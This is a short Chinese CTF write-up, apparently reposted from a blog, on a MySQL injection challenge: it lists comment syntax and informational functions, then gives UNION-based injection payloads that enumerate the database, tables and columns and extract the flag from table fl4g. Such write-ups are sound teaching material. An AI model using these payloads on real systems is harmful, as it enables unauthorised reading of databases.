转载：https://www.cnblogs.com/0yst3r-2046/p/10756453.html

 mysql注释符有三种：

1、#...

2、"-- "，注意--后面有一个空格

3、/*...*/

本题过滤了“-- ”可以采用#号

本道题倒在了“加上单引号’则数据为空，但是再加上注释符#就又正常了 ”

不知道为啥会加上单引号为空加上注释符后正常。

mysql函数：

current_user() , user(), system_user() : 返回当前用户

database() 返回当前数据库名

version() 返回数据库的版本号

group_concat：将每组的结果字符串连接起来

首先查找数据库名：

id=0' union select 1,2,database(),4#  

结果

再查找表名：

id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

结果为：

可以看到有两个表，fl4g和sc表。查找的flag在fl4g表内。

继续查找列名：

id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#

结果为:

最后根据表名和列名查询数据。

id=0' union select 1,(select group_concat(skctf_flag) from fl4g ),database(),4#